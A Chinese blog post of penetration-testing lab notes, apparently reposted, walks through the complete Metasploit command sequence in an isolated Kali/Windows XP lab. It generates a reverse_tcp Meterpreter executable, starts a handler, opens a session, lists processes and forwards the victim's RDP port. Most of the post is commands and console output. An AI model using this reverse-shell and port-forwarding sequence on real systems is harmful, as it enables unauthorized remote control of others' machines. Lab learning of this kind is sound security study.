渗透杂记2015-01-21

简介:

今天来熟悉一下meterpreter,使用环境是KALI、windowsXP

 

Kali地址:192.168.11.41

windowsXP地址:192.168.11.58

 

wKioL1S_VMfyE_uaAAPJoJEsODI844.jpg

wKiom1S_U_TBpkLJAAG-B9Hgyqg956.jpg

 

  1. 首先生成可执行文件

    root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.11.41 LPORT=444 X > meter.exe
    Created by msfpayload (http://www.metasploit.com).
    Payload: windows/meterpreter/reverse_tcp
     Length: 287
    Options: {"LHOST"=>"192.168.11.41", "LPORT"=>"444"}
    root@kali:~# ls
    192.168.11.42  Desktop  meter.exe  O  OpenVAS_TI.asc

  2. 开启本地监听

root@kali:~# msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             http://metasploit.pro


Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on 
http://rapid7.com/metasploit

       =[ metasploit v4.9.2-2014051401 [core:4.9 api:1.0] ]
+ -- --=[ 1310 exploits - 780 auxiliary - 221 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: 
http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > info

       Name: Generic Payload Handler
     Module: exploit/multi/handler
   Platform: Android, BSD, Java, JavaScript, Linux, OSX, NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual

Provided by:
  hdm <
hdm@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Wildcard Target

Payload information:
  Space: 10000000
  Avoid: 0 characters

Description:
  This module is a stub that provides all of the features of the 
  Metasploit payload system to exploits that have been launched 
  outside of the framework.

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > info

       Name: Generic Payload Handler
     Module: exploit/multi/handler
   Platform: Android, BSD, Java, JavaScript, Linux, OSX, NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual

Provided by:
  hdm <
hdm@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Wildcard Target

Payload information:
  Space: 10000000
  Avoid: 0 characters

Description:
  This module is a stub that provides all of the features of the 
  Metasploit payload system to exploits that have been launched 
  outside of the framework.

msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 444
LPORT => 444
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address
   LPORT     444              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started reverse handler on 0.0.0.0:444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.11.58
[*] Meterpreter session 1 opened (192.168.11.41:444 -> 192.168.11.58:1057) at 2015-01-21 01:40:09 -0500

 

3.在192.168.11.58上执行meter.exe

meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : VMware Accelerated AMD PCNet Adapter - pencS zHardware MAC : 00:0c:29:c6:de:84
MTU          : 1500
IPv4 Address : 192.168.11.58
IPv4 Netmask : 255.255.255.0

meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                           Path
 ---   ----  ----               ----  -------     ----                           ----
 0     0     [System Process]         4294967295                                 
 4     0     System             x86   0                                          
 212   712   vmtoolsd.exe       x86   0           NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 440   384   conime.exe         x86   0           WWW-95A235B5556\Administrator  C:\WINDOWS\system32\conime.exe
 568   4     smss.exe           x86   0           NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
 636   568   csrss.exe          x86   0           NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
 668   568   winlogon.exe       x86   0           NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
 712   668   services.exe       x86   0           NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
 724   668   lsass.exe          x86   0           NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
 884   712   vmacthlp.exe       x86   0           NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 912   712   svchost.exe        x86   0           NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
 976   712   svchost.exe        x86   0                                          C:\WINDOWS\system32\svchost.exe
 1072  712   svchost.exe        x86   0           NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 1236  712   svchost.exe        x86   0                                          C:\WINDOWS\system32\svchost.exe
 1436  712   svchost.exe        x86   0                                          C:\WINDOWS\system32\svchost.exe
 1444  1416  explorer.exe       x86   0           WWW-95A235B5556\Administrator  C:\WINDOWS\Explorer.EXE
 1460  712   ZhuDongFangYu.exe  x86   0           NT AUTHORITY\SYSTEM            C:\Program Files\360\360Safe\deepscan\zhudongfangyu.exe
 1568  1444  cmd.exe            x86   0           WWW-95A235B5556\Administrator  C:\WINDOWS\system32\cmd.exe
 1628  712   spoolsv.exe        x86   0           NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
 1784  1444  meter.exe          x86   0           WWW-95A235B5556\Administrator  $U$C:\Documents and Settings\Administrator.WWW95A235B5556\\meter.exe-0x433a5c446f63756d656e747320616e642053657474696e67735c41646d696e6973747261746f722e5757572d39354132333542353535365cd7c0c3e65c6d657465722e657865
 1804  1444  vmtoolsd.exe       x86   0           WWW-95A235B5556\Administrator  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1820  1444  ctfmon.exe         x86   0           WWW-95A235B5556\Administrator  C:\WINDOWS\system32\ctfmon.exe

 

4.在192.168.11.58上开启端口反弹,192.168.11.58上的3389端口反弹到192.168.11.41上的2222端口

 

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  The local host to listen on (optional).
    -h        Help banner.
    -l <opt>  The local port to listen on.
    -p <opt>  The remote port to connect to.
    -r <opt>  The remote host to connect to.
meterpreter > portfwd add -l 2222 -r 192.168.11.58 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.11.58:3389
meterpreter > portfwd 
0: 0.0.0.0:2222 -> 192.168.11.58:3389

1 total local port forwards.

wKioL1TB3GLi4hniAAHENHcfzGc147.jpg

wKioL1TB3Gzx2IdkAAG8i8ixrqM024.jpg

本文转自文东会博客51CTO博客,原文链接http://blog.51cto.com/hackerwang/1606637如需转载请自行联系原作者


谢文东666

相关文章
|
12月前
|
安全 网络协议 测试技术
花无涯带你走进黑客世界8 渗透进阶
渗透测试工具用法技巧入门到进阶 渗透系列进阶,开始实战各方面的软件安装和平台的了解, 把术语讲清楚慢慢一步步的来过渡了解与学习,帮助更多人学习到黑客攻防,学会保护自己和身边的人,主要是谈谈小白如何慢慢学习网络安全相关知识,有正确得价值观,做正确的事情,欢迎各界人士给建议。相信每一个对计算机感兴趣的童鞋都有着一颗黑客的心,我希望通过一系列的文章让大家了解黑客和网络安全。
|
5月前
|
缓存 安全 Java
【Java技术专题】「攻破技术盲区」带你攻破你很可能存在的Java技术盲点之技术功底指南(鲜为人知的技术)
【Java技术专题】「攻破技术盲区」带你攻破你很可能存在的Java技术盲点之技术功底指南(鲜为人知的技术)
25 0
|
4月前
|
SQL 安全 网络安全
网络安全攻防实战:黑客与白帽子的较量
【6月更文挑战第29天】网络安全战场,黑客与白帽子的博弈日益激烈。黑客利用漏洞扫描、DDoS、SQL注入等手段发起攻击,而白帽子则通过防火墙、入侵检测、数据加密等技术防守。双方在技术与智慧的较量中,未来将更多融入AI、区块链等先进技术,提升攻防效率与安全性。面对网络威胁,提升技能与意识至关重要。
|
5月前
|
安全 应用服务中间件 PHP
黑客渗透知识点总结
黑客渗透知识点总结
|
12月前
|
安全 Linux 测试技术
花无涯带你走进黑客世界 2 学习渗透技术
上兵伐谋,其次伐交,其次伐兵,其下攻城,网络世界如何保护自己和身边的人,一起来学! 最近开始有一个想法,想谈谈小白如何慢慢学习网络安全相关知识。 有正确得价值观,做正确的事情,欢迎各界人士给建议。
|
人工智能 安全 测试技术
|
JSON 安全 C语言
黑客需要用到的Python技术?
黑客需要用到的Python技术?
|
安全 Shell 应用服务中间件
|
安全 网络协议 Ubuntu
|
Python 安全 C语言
黑客们会用到哪些Python技术?
我想跟读者们分享个人的Python编程经历,这些也许会对你未来的工作有所帮助,让这个世界变得更加安全一些
2749 0
下一篇
无影云桌面